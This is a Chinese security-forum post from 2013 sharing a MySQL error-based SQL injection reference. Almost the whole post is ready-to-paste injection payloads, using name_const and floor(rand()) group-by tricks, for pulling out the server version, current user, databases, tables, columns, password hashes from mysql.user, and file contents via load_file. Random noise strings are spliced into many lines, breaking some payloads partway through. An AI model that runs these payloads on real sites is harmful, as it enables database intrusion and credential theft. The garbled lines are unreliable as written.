找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
# y$ d0 E) [# n6 p
8 G, O/ S) N& T* D" C7 p5 q* g4 t) }) d, p. e
Mysql暴错注入参考(pdf),每天一贴。。。+ S/ I" L3 k# s& T9 S# P0 s* H! ^
3 Z  ~' y& d& g, T' x
MySql Error Based Injection Reference) r' c( t# ~. ^
[Mysql暴错注入参考]
  A$ ^& q; i) _3 q; x( ]Authornig0s1992
* a6 B3 p- @. W# ~; RBlog:http://pnig0s1992.blog.51cto.com/& O) S+ t# g; Q6 V) j
TeAm:http://www.FreeBuf.com/
9 C& V0 n9 h( R( C- HMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功( X* J2 ?  i9 o; J( y
小部分版本使用name_const()时会报错.可以用给出的Method.2测试3 m! O5 Q+ e+ d9 D/ x  t7 a3 b& f
查询版本:) @5 ]! e( |0 ]  o! G7 }
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+; _, _- u: {# L( w, {  G
join+(select+name_const(@@version,0))b)c)
. X- u' g8 Q) N: R, _2 A5 D7 xMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
9 ~; R+ X0 Y( k; [# a' d" p4 R* K4 dup by a)b)
6 W6 R& W  p( t查询当前用户:
+ K- C5 R0 l; K3 A, K5 vMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)' d: _+ @) v: O* Y8 a. i
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
- L/ ~! k0 X; l* H$ cand(0)*2))x+from+information_schema.tables+group+by+x)a)
/ s, k0 x' s  i9 c" Q9 H2 f2 y查询当前数据库:5 G! S8 V$ e4 B5 N8 i
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)8 q. }/ e8 ?5 ?" h
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo1 x- u: Y5 a& T6 N6 D
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 R' n$ {) X" Q依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+7 F( u. s; f" I( s- l. e% L: J! p
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( ?8 B8 T7 i6 G/ H3 Y9 g3 u+ v1 w+ l- t顺序替换
+ g  X! \8 M9 A' W- y爆指定库数目:
& _: Z+ Y9 {$ S% R# jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
. D: M+ p, U! m1 [! ~0 bable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group5 s2 G* v& ~6 w
+by+x)a)+and+1=1 0x6D7973716C=mysql
$ O. \5 O8 M  X* f依次爆表:
% d6 W) e7 c0 u, D! e1 q: e" Rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
! @! Y7 H+ ~  m% V1 X9 R* jable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta/ R* t- F! ?2 v" s6 ?
bles+group+by+x)a)+and+1=1
. E- L8 L" k; g( l2 B0x6D7973716C=Mysql 将n顺序替换3 y5 a' O1 f8 j4 B* x# ^3 F4 ~2 c
爆表内字段数目:
( a& D3 d9 g7 X5 iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE0 Z* b! o: o" ]6 @7 ?
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran) A. ~4 O- D; ~5 q, A
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
& [' v6 h# ?! I; x. e1 c- u依次爆字段:& @6 s6 E6 f% H0 F# @. Z2 k6 P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
5 D2 w- z6 k- {, ~% L) ?; c+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' k/ C" \$ C( m( i6 P, }/ C
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换' ~7 T* [$ d% ]' F6 }# J- \2 C
依次暴内容:7 m. ^) w' j6 E; v0 S2 L3 ?
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche) r& O5 r- X8 J6 r' t6 r. x
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% l& p/ V  P0 J, r- g将n顺序替换
4 r0 w2 u; B4 Z# m, ?) y, O爆文件内容:
4 ^) j7 `7 s. P! _, v# I4 Tand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
/ H/ o+ n) F9 k3 [from+information_schema.tables+group+by+a)b)
) M$ A6 J4 _+ `0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节; K* l) ]  M0 U3 I1 {7 `
Thx for reading.
+ q/ H- }3 V+ E! n8 i: h* \
7 _/ m4 I0 u  J2 v' D$ e" j5 r9 e不要下载也可以,
/ _+ m- i" e2 z; C3 N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表